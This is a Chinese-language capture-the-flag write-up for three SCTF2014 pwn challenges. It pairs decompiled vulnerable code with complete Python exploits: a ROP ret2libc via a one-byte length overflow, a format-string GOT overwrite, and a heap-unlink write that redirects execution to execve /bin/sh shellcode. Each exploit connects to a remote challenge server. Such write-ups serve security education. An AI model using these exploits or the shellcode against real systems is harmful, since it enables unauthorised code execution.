PWN200

漏洞分析

1
2
3
pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwn200

只启用了NX 接下来分析程序,程序很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ssize\_t \_\_cdecl sub_80484AC()
{
ssize_t result; // eax@3
char v1; // \[sp+1Ch\] \[bp-9Ch\]@1
int buf; // \[sp+9Ch\] \[bp-1Ch\]@1
int v3; // \[sp+A0h\] \[bp-18h\]@1
int v4; // \[sp+A4h\] \[bp-14h\]@1
int v5; // \[sp+A8h\] \[bp-10h\]@1
size_t n; // \[sp+ACh\] \[bp-Ch\]@1
n = 16;
buf = 0;
v3 = 0;
v4 = 0;
v5 = 0;
memset(&v1, 0, 0x80u);
write(1, "input name:", 12u);
read(0, &buf, n + 1); //读取17个字符到buf,存在一个字节的溢出,修改n的值
if ( strlen((const char *)&buf) - 1 > 9 || strncmp("syclover", (const char *)&buf, 8u) )
{
result = -1;
}
else
{
write(1, "input slogan:", 14u);
read(0, &v1, n); //n值被修改后溢出v1
result = write(1, &v1, n);
}
return result;
}

程序在read到buf时多读了一个字符,导致溢出修改n的值,之后read到v1时导致溢出控制程序流程。

漏洞利用

第一步先写入”sycloverx00x00123456xef”,其中xef就是覆盖变量n的字节。 之后程序调用read(0, &v1, n);时就可以读入payload 因为NX,所以采用ROP链执行。 题目提供了glibc.so,所以思路是先读取plt中__libc_start_main的地址,通过提供的glibc.so获取到system和__libc_start_main的偏移差计算出system的位置。

0003f430 w DF .text 0000008d GLIBC_2.0 system
000193e0 g DF .text 000001c2 GLIBC_2.0 __libc_start_main

地址偏移为 0x26050 之后将其写入.plt中__libc_start_main的位置。最后通过执行.got中__libc_start_main并置入参数sh来执行system(“sh”)获得shell。 exploit如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
'''
SCTF2014 pwn200 exp
yuf4n
'''
from zio import *
import struct
write_got = l32(0x080483A0)
read_got = l32(0x08048360)
lib\_main\_got = l32(0x08048390)
lib\_main\_plt = l32(0x0804985C)
ppppr = l32(0x08048645)
pppr = l32(0x08048646)
ppr = l32(0x080485bf)
\# io = zio('./pwn200',print_write=COLORED(REPR))
io = zio(('218.2.197.248',10001),print_write=COLORED(REPR))
payload0 = ''
payload0 += 'sycloverx00x00123456'+'xef' # second write len
payload1 = ''
\# second write
\# junk
payload1 += '1' * 0x9c
\# ebp
payload1 += '2345'
\# eip call write
payload1 += write_got
\# pppr
payload1 += pppr
\# write args
payload1 += l32(0x1)
payload1 += lib\_main\_plt
payload1 += l32(0x04)
\# read modify libmainplt
payload1 += read_got
\# pppr
payload1 += pppr
\# args
payload1 += l32(0x0)
payload1 += lib\_main\_plt
payload1 += l32(0x08)
\# lib_main(system)
payload1 += lib\_main\_got
payload1 += '1111'
payload1 += l32(0x0804985C+0x4)
\# print len(payload1)
io.read_until('input name:')
io.write(payload0)
io.read_until('input slogan:')
io.write(payload1)
buf = io.sock.recv(1024)
lib\_main\_add = struct.unpack('<I',buf\[-4:\])\[0\]
system\_add = lib\_main_add + 0x26050
print hex(lib\_main\_add)
\# io.gdb_hint()
payload2 = l32(system_add)
payload2 += 'shx00x00'
io.write(payload2+'n')
io.interact()

flag SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}

PWN300

1
2
3
pwn300: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH pwn300

题目也提供了glibc,而且pwn200进去以后发现三题都在一个服务器上。所以目测利用方法应该相似。

漏洞分析

在第三个功能显示message发现一个格式化溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int \_\_cdecl fun3\_sub_80487FA()
{
int result; // eax@1
char dest; // \[sp+1Ch\] \[bp-40Ch\]@1
int v2; // \[sp+41Ch\] \[bp-Ch\]@1
v2 = *MK\_FP(\_\_GS__, 20);
strcpy(&dest, src);
printf("Your message is:");
printf(src); // exploit
result = *MK\_FP(\_\_GS__, 20) ^ v2;
if ( *MK\_FP(\_\_GS__, 20) != v2 )
\_\_stack\_chk_fail();
return result;
}

而且之前还很配合的把src的内容复制到栈里。。。这样就有机会对任意地址进行修改

漏洞利用

利用格式化溢出漏洞可以对内存读取写入,所以可以利用pwn200的利用方式:读取PLT中__libc_main_start的地址,通过libc.so计算system的地址写入程序之后可能会用到的函数的GOT 通过调试发现输入buf的起点位于printf调用的第七个变量 读取.plt __libc_main_start的payload ‘x28x91x04x08%7$sn’ 接下来找一个接下来可能调用到的函数修改其PLT为system函数的地址。这个函数最好可以把“sh”作为参数放进去。于是我选择了memset函数 他在第二个功能中被用到,而且正好把src当参数调用,这样我们通过留言功能让src为”sh”就能调用system(“sh”)了。

1
2
3
4
5
6
int \_\_cdecl fun2\_sub_80487B6()
{
puts("input your message");
memset(src, 0, 0x400u);
return readbuf\_sub\_804866D((int)src, 1024);
}

下面是exploit,修改地址的时候利用了libformatstr库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
'''
SCTF2014 pwn300 exploit
yuf4n
'''
from libformatstr import *
from zio import *
import struct
\# io = zio('./pwn300',print_write=COLORED(REPR))
io = zio(('218.2.197.248',10002),print_write=COLORED(REPR))
memset\_plt\_addr = 0x08049130
p = FormatStr()
payload\_leak\_lib_main = 'x28x91x04x08%7$sn'
\# read \_\_lib\_main_start plt
io.read_until('your choice:')
io.write('2n')
io.read_until('your message')
io.write(payload\_leak\_lib_main)
io.read_until('your choice:')
io.write('3n')
io.read_until('message is:')
buf = io.read(8)
buf = buf\[-4:\]
systemaddr = struct.unpack('<I',buf)\[0\] + 0x26050
print 'SYSADDR',hex(systemaddr)
\# write memset_plt
p\[memset\_plt\_addr\] = systemaddr
payload = p.payload(7, start_len=0) + 'n'
\# io.gdb_hint()
io.read_until('your choice:')
io.write('2n')
io.read_until('your message')
io.write(payload)
io.write('3n')
\# set src=sh and call memset
io.read_until('your choice:')
io.write('2n')
io.read_until('message')
io.write('shn')
io.read_until('your choice:')
io.write('2n')
io.read_until('message')
io.write('shn')
io.interact()

flag SCTF{ZQzq2617}

PWN400

1
2
3
pwn400: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO Canary found NX disabled No PIE No RPATH No RUNPATH pwn400

这个NX都没有。

漏洞分析

程序是一个类似便签的功能。 每个note是用malloc申请的,用双向链表链接起来,目测是某个同学的C语言小作业吧。。 3号功能可以显示note空间的的首地址。 在4号功能修改note的功能发现一个堆溢出的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int \_\_cdecl fun4\_sub_8048D09(int a1)
{
size_t v1; // eax@4
int result; // eax@8
int v3; // \[sp+28h\] \[bp-410h\]@1
char buf; // \[sp+2Ch\] \[bp-40Ch\]@1
int v5; // \[sp+42Ch\] \[bp-Ch\]@1
v5 = *MK\_FP(\_\_GS__, 20);
memset(&buf, 0, 0x400u);
v3 = a1;
if ( a1 )
{
write(1, "note title:", 0xBu);
read(0, &buf, 0x400u);
while ( v3 )
{
v1 = strlen(&buf);
if ( !strncmp(&buf, (const char *)(v3 + 12), v1) )
break;
v3 = *(_DWORD *)(v3 + 8);
}
write(1, "input content:", 0xEu);
read(0, &buf, 0x400u);
strcpy((char *)(v3 + 108), &buf); // exploit
write(1, "succeed!", 8u);
puts((const char *)(v3 + 108));
}
else
{
write(1, "no notes", 8u);
}
result = *MK\_FP(\_\_GS__, 20) ^ v5;
if ( *MK\_FP(\_\_GS__, 20) != v5 )
\_\_stack\_chk_fail();
return result;
}

在5号功能删除note的功能发现一个类似dwrod shoot的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int \_\_cdecl sub\_8048E99(int a1)
{
int v1; // ST28_4@8
int v2; // ST2C_4@8
int result; // eax@10
__int32 ptr; // \[sp+24h\] \[bp-24h\]@3
int buf; // \[sp+32h\] \[bp-16h\]@1
int v6; // \[sp+36h\] \[bp-12h\]@1
__int16 v7; // \[sp+3Ah\] \[bp-Eh\]@1
int v8; // \[sp+3Ch\] \[bp-Ch\]@1
v8 = *MK\_FP(\_\_GS__, 20);
buf = 0;
v6 = 0;
v7 = 0;
if ( *(_DWORD *)a1 )
{
write(1, "note location:", 0xEu);
read(0, &buf, 8u);
ptr = strtol((const char *)&buf, 0, 16);
if ( *(_DWORD *)ptr == ptr )
{
if ( *(_DWORD *)a1 == ptr )
{
*(\_DWORD *)a1 = *(\_DWORD *)(*(_DWORD *)a1 + 8);
}
else
{
if ( *(_DWORD *)(ptr + 8) )
{
v1 = *(_DWORD *)(ptr + 8);
v2 = *(_DWORD *)(ptr + 4);
*(_DWORD *)(v2 + 8) = v1; // dword shoot
*(_DWORD *)(v1 + 4) = v2;
}
else
{
*(\_DWORD *)(*(\_DWORD *)(ptr + 4) + 8) = 0;
}
}
write(1, "succeed!nn", 0xAu);
free((void *)ptr);
}
}
else
{
write(1, "no notes", 8u);
}
result = *MK\_FP(\_\_GS__, 20) ^ v8;
if ( *MK\_FP(\_\_GS__, 20) != v8 )
\_\_stack\_chk_fail();
return result;
}

例如ptr = &note (note空间的基地址) 则可以进行 [ [ptr+4]+8 ] = [prt+8] [ [ptr+8]+4 ] = [ptr+4]

漏洞利用

思路是通过堆溢出漏洞可以覆盖到另外一个note的ptr+4 和 ptr+8。 之后利用这个dword shoot修改即将要调用的函数的plt到shellcode处。 shellcode前面要加一些nop,因为dword shoot的副作用会修改到shellcode。 具体操作:

  1. 新建3个note,我把shellcode放在第三个note的content里
  2. 查看他们的地址
  3. 溢出第一个note
  4. 删除第二个note,通过dword shoot修改write函数的plt为shellcode位置(有试过修改其他函数的,发现修改write可以成功。)
  5. 程序在dword shoot之后就有一个write调用,即进入shellcode

exploit如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
'''
SCTF2014 pwn400 exploit
yuf4n
'''
from zio import *
import struct
\# io = zio('./pwn400', print_write=COLORED(REPR), timeout=80000)
io = zio(('218.2.197.248',10003),print_write=COLORED(REPR))
exit_plt = 0x0804A46C
free_plt =0x0804A450
write_plt =0x0804A478
shellcode = "x90"*16+"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('1n')
io.read_until('note type:')
io.write('1n')
io.read_until('note content:')
io.write('1n')
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('2n')
io.read_until('note type:')
io.write('2n')
io.read_until('note content:')
io.write('2n')
io.read_until('option--->>')
io.write('1n')
io.read_until('note title:')
io.write('3n')
io.read_until('note type:')
io.write('3n')
io.read_until('note content:')
io.write(shellcode+'n')
io.read_until('option--->>')
io.write('3n')
io.read_until('note title:')
io.write('3n')
buf = io.read_until('option--->>')
addr_3 = buf\[buf.find('location:0x')+len('location:0x'):buf.find('location:0x')+len('location:0x')+8\]
io.write('3n')
io.read_until('note title:')
io.write('2n')
buf = io.read_until('option--->>')
addr_2 = buf\[buf.find('location:0x')+len('location:0x'):buf.find('location:0x')+len('location:0x')+8\]
payload = '1'*0x100
payload += '2222'
\# addr2
payload += l32(int(addr_2,16))
\# ptr+4
payload += l32(write_plt-0x8)
\# ptr+8
payload += l32(int(addr_3,16)+108)
payload += 'efghijklmn'
io.write('4n')
io.read_until('title:')
io.write('1n')
io.read_until('content:')
io.write(payload+'n')
io.read_until('option--->>')
io.write('5n')
\# io.gdb_hint()
io.read_until('location:')
io.write(addr_2+'n')
io.interact()

flag SCTF{2318540E78446A0E84EF69685092F0C3}